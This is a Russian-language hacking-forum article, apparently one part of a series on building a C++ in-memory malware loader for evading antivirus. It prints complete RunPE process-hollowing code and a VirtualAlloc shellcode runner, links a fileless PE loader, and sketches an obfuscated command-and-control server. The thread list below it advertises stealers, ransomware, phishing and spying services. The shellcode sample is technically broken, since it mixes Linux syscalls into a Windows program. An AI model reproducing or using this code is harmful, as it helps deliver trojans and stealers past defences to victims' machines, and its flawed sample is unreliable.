Статья Пишем свой лоадер на плюсах - теория

Admin

Администратор

Пишем свой лоадер на плюсах - теория​

Начнём его переписывать в лоадер, то-есть без фактического дропа файла на диск, снова начинаем с истории и предыстории. А вообще, тема с лоадерами - это не какое-то там новомодное изобретение. Ещё с древних времён, когда компы только появились, умники уже мутили вирусы, которые не просто падали на диск, а загружались хитро, чтобы их сложнее было спалить. Но в те времена всё было попроще, антивирусы были тупее, так что и способы обхода были не такие навороченные. Но время шло, технологии развивались, и антивирусы тоже не стояли на месте, а прыгали выше. Стали они умнее, начали файлы на входе шерстить, да и на диске постоянно что-то находить. И тут-то наши малвейр-кодеры и придумали эту фишку с лоадерами. Идея такая: вместо того, чтобы тупо файл на диск кидать, давай-ка мы его хитро в память загрузим, да ещё и замаскируем так, что антивирус охренеет и ничего не поймёт.
Лоадеры - это сейчас реально актуальная тема. Все эти новомодные вирусы стиллеры, трояны, локеры от школьников - все они используют продвинутые лоадеры. Потому что без этого сейчас никак - сразу спалят и завалят. Короче, впереди у нас много работы. Будем разбираться с памятью, с системными вызовами, с шифрованием и дешифрованием на лету, так же нам будет нужен неплохой рантайм.
Способы выполнения пейлоада в памяти
RunPE старичок, но его ещё используют. Работает как угнать тачку, но оставить номера. Берём легальный процесс, вычищаем его и заливаем туда наш пейлоад, и получаем ёлку от антивирусов в рантайме особенно если софт уже с детектами.
C++:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS(NTAPI* PNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG           ReturnLength
);

DWORD FetchPebAddress(HANDLE hProcess)
{
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");

PROCESS_BASIC_INFORMATION pbi;
ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));

DWORD returnLength = 0;
if (NT_SUCCESS(pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)))
{
return (DWORD)pbi.PebBaseAddress;
}
return 0;
}

VOID WINAPI ExecutePayload(LPBYTE payloadBuffer)
{
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payloadBuffer;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return;

PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD)payloadBuffer + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return;

WCHAR exePath[MAX_PATH + 1];
GetModuleFileNameW(NULL, exePath, MAX_PATH);

PROCESS_INFORMATION pi;
STARTUPINFOW si;
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&si, sizeof(si));

if (!CreateProcessW(exePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
return;

LPCONTEXT ctx = (LPCONTEXT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CONTEXT));
ctx->ContextFlags = CONTEXT_FULL;

if (!GetThreadContext(pi.hThread, ctx))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return;
}

DWORD pebAddress = FetchPebAddress(pi.hProcess);
LPVOID remoteImage = VirtualAllocEx(pi.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (!remoteImage)
remoteImage = VirtualAllocEx(pi.hProcess, NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, remoteImage, payloadBuffer, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)(payloadBuffer + dosHeader->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ntHeaders->FileHeader.SizeOfOptionalHeader);

PIMAGE_BASE_RELOCATION relocation = NULL;
DWORD relocVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

for (INT i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)remoteImage + sectionHeader[i].VirtualAddress), (LPVOID)((DWORD)payloadBuffer + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData, NULL);

if (relocVA >= sectionHeader[i].VirtualAddress && relocVA < sectionHeader[i].VirtualAddress + sectionHeader[i].SizeOfRawData)
relocation = (PIMAGE_BASE_RELOCATION)(payloadBuffer + sectionHeader[i].PointerToRawData + (relocVA - sectionHeader[i].VirtualAddress));
}

if (relocation && (DWORD)remoteImage != ntHeaders->OptionalHeader.ImageBase)
{
DWORD delta = (DWORD)remoteImage - ntHeaders->OptionalHeader.ImageBase;
while (relocation->SizeOfBlock)
{
LPWORD fixups = (LPWORD)((DWORD)relocation + sizeof(IMAGE_BASE_RELOCATION));
DWORD fixupsCount = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

for (DWORD i = 0; i < fixupsCount; i++)
{
if ((fixups[i] & 0xF000) == IMAGE_REL_BASED_HIGHLOW)
{
LPVOID fixupAddr = (LPVOID)((DWORD)remoteImage + relocation->VirtualAddress + (fixups[i] & 0x0FFF));
DWORD fixupValue;
if (ReadProcessMemory(pi.hProcess, fixupAddr, &fixupValue, sizeof(fixupValue), NULL))
{
fixupValue += delta;
WriteProcessMemory(pi.hProcess, fixupAddr, &fixupValue, sizeof(fixupValue), NULL);
}
}
}
relocation = (PIMAGE_BASE_RELOCATION)((DWORD)relocation + relocation->SizeOfBlock);
}
}

WriteProcessMemory(pi.hProcess, (LPVOID)(pebAddress + 8), &remoteImage, sizeof(remoteImage), NULL);

ctx->Eax = (DWORD)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, ctx);
ResumeThread(pi.hThread);

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}

int main()
{
ExecutePayload(rawData);
return 0;
}
Рассказывать особо много о нём не вижу смысла, дед в мире загрузки PE файлов, им можно грузить и .NET файлы что не сделаешь с другими, достаточно грузить в .NET процесс той же битности.

Shellcode, наверное самый древний и беспалевный метод, работает почти везде, но более сложен в реализации и требует знаний. Проще говоря, шеллкод- это самодостаточный кусок машинного кода, который можно впихнуть куда угодно и он сработает. Вот пример простого шеллкода на ассемблере (x86), который выводит "Привет, мир!":
Код:
section .text
global _start

_start:
; write(1, message, 13)
push 13
push message
push 1
mov eax, 4
int 0x80

; exit(0)
xor ebx, ebx
mov eax, 1
int 0x80

section .data
message db "Привет, мир!", 10
Чтобы использовать этот шеллкод в C++, нужно его сконвертировать в байт-код. Вот как это должно выглядеть:
C++:
#include <Windows.h>

unsigned char shellcode[] =
"\x6A\x0D\x68\x00\x00\x00\x00\x6A\x01\xB8\x04\x00\x00\x00\xCD\x80"
"\x31\xDB\xB8\x01\x00\x00\x00\xCD\x80\xD0\xCF\xC8\xC2\xC2\xC5\xD2"
"\x2C\x20\xCC\xC8\xD0\x21\x0A";

int main()
{
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();

return 0;
}
Да есть и другие способы загрузки шеллкода, но показываю самый простой и распространённый, который каждый школьник реализует. Шеллкод так же можно и инжектить в программу, он универсальный, но как и всего у него есть битность. Он такая штука что поддерживает всё(файлы, скрипты..) считай что душе угодно, только попробуй реализуй). Можно написать программу на чистом православном цэ и потом перевести её в байткод того шеллкода. Вообще прикольная штука работает везде и как надо.

LoadPE довольно таки молодой метод, реализация сложна для новичков, но всё же его использует большое количество людей, net программы он грузить не умеет и не будет. Исходники есть на форуме, он не такой простой как RunPE потому, что всё загружает сам, а не загрузчик винды. Сначала выделяется память, копирует в выделенную память секции, делает релокации, находит дллки с ехе и импортирует их. Пример можно увидеть https://github.com/SaadAhla/FilelessPELoader этот код работает и под х64.

ClrCreateInstance довольно таки новый метод, помоложе loadpe суть в том что грузит .net программу в нативной программе, коды есть в donut на гитхабе и на форуме в разделе конкурсы "Пишем свой donut на минималках", подходит только для .NET программ.
Выбор метода
Выбор метода будет зависеть от конкретных задач, если мы делаем под определённый софт допустим на .NET то выберем ClrCreateInstance, но так как мы хотим реализовать более широкий спектр и использовать сначала простое, а потом сложное, то начнём с RunPE и шеллкода, loadPE наверное тоже с собой захватим.
Про сервер
Так как сервер мы писали изначально под дроппер, но с зачатками для лодера ,сборы системной инфы(оперативная память, процессор, видеокарта), то нам уже будет проще реализовать, остальное. Шифр запросов мы будем постепенно менять и от base64 перейдём к xorу или просто сделаем свой метод. В серверной части будет минимум изменений, чего не скажешь о коде самого лодера.
 
Похожие темы
Admin Статья Пишем свой простейший дроппер на плюсах Вирусология 0
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Программирование 10
S Пишем свой перехватчик СМС Android Программирование 3
Traven Пишем свой стиллер на Python Программирование 5
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор Программирование 0
E [PHP] Пишем свой движок 2.0 Программирование 0
Admin Статья Пишем собственный тулкит для точечных атак. Полезные статьи 0
Admin Статья Пишем сплойт для обхода DEP: ret2libc и ROP-цепочки против Data Execution Prevention. Уязвимости и взлом 0
У Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение 0
У Интересно Пишем вредоносное ПО с помощью ChatGPT. Формат mp4. English-speaking. Полезные статьи 2
L Интересно C# - Пишем Watchdog (Модуль защиты вашего трояна) Программирование 2
L Интересно C# - Динамическая загрузка DLL (пишем стиллер в 9кб) Программирование 4
K [Roman Akhromieiev] Telegram. Пишем ботов на Node JS и Telegraf (2020) Раздачи и сливы 1
X Взлом вашей второй Половинки или Конкурента связь [email protected] Eсли вы хотите узнать что делает ваша вторая половинка в сети пишем нам на поч Ищу работу. Предлагаю свои услуги. 1
sxkury Пишем малютку для скана сайта Готовый софт 6
АнАлЬнАя ЧуПаКаБрА Интересно Пишем брут на любой(почти) банк [OFX] Программирование 1
S Взлом вашей второй Половинки или Конкурента связь [email protected] Eсли вы хотите узнать что делает ваша вторая половинка в сети пишем нам н Ищу работу. Предлагаю свои услуги. 0
T Пишем WinLocker на Delphi Программирование 0
N Пишем отзывы и получаем от 200 рублей в день. Способы заработка 12
G Пишем парсер на Python - грабим Proxy ч.2 Готовый софт 0
G Пишем парсер на Python - грабим Proxy ч.1 Готовый софт 2
G Пишем скрипт для работы с VirusTotal-ом Полезные статьи 0
G Пишем шифровальщик на python Полезные статьи 0
Traven Пишем спамер Telegram, на Python Раздачи и сливы 0
Traven WinLocker на python. Пишем вирус. Раздачи и сливы 0
V Пишем переносной кейлоггер на C++ Полезные статьи 1
O Пишем стиллер на Batch Вирусология 15
Glods Пишем многопоточный Brute Программирование 0
R Пишем билдер C# вариант 1 Программирование 2
Admin Статья Поднимаем свой XMPP сервер через i2p в 2025. Полезные статьи 0
Admin Интересно В официальном магазине приложений Xiaomi обнаружены вирусы. Проверьте свой смартфон прямо сейчас. Новости в сети 0
Support81 Перевод крупной суммы по СБП на свой же счёт будет расцениваться банком как подозрительный Новости в сети 0
Support81 Важно! Создаем свой VPN с защищенным от блокировок протоколом AmneziaWG, или WireGuard на максималках Анонимность и приватность 3
K Интересно Отработаю свой Запрос GE в ваших логах Предоставляю работу. Ищу специалиста. 1
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
B Разработка ботов под любую рутину. Разгрузи свой график! Ищу работу. Предлагаю свои услуги. 1
L Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2
L Интересно C# - Критичный процесс (Защищаем свой вирус) Программирование 0
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
G Интересно Создаём свой магазин в телеграмме бесплатно. Полезные статьи 0
F Поднимаем свой IoT ботнет на основе Mirai Вирусология 4
igori9891 Сливаю свой мануал) Раздачи и сливы 0
Anorali Свой мини кейлоггер на python. Часть 3 Вирусология 2
Anorali Свой мини кейлоггер на python. Часть 2 Вирусология 0
Anorali Свой мини кейлоггер на python Вирусология 4
S wpXtube плагин для WP с возможностью организовать свой туб+ партнёрство Раздачи и сливы 3
L Интересно Майк Новограц: ралли биткоина только начинается, не упустите свой шанс Новости в сети 0
K Как проверить свой ПК на ратник (без антивируса) Свободное общение 4
T Как сделать свой Fishing сайт? Свободное общение 7

Название темы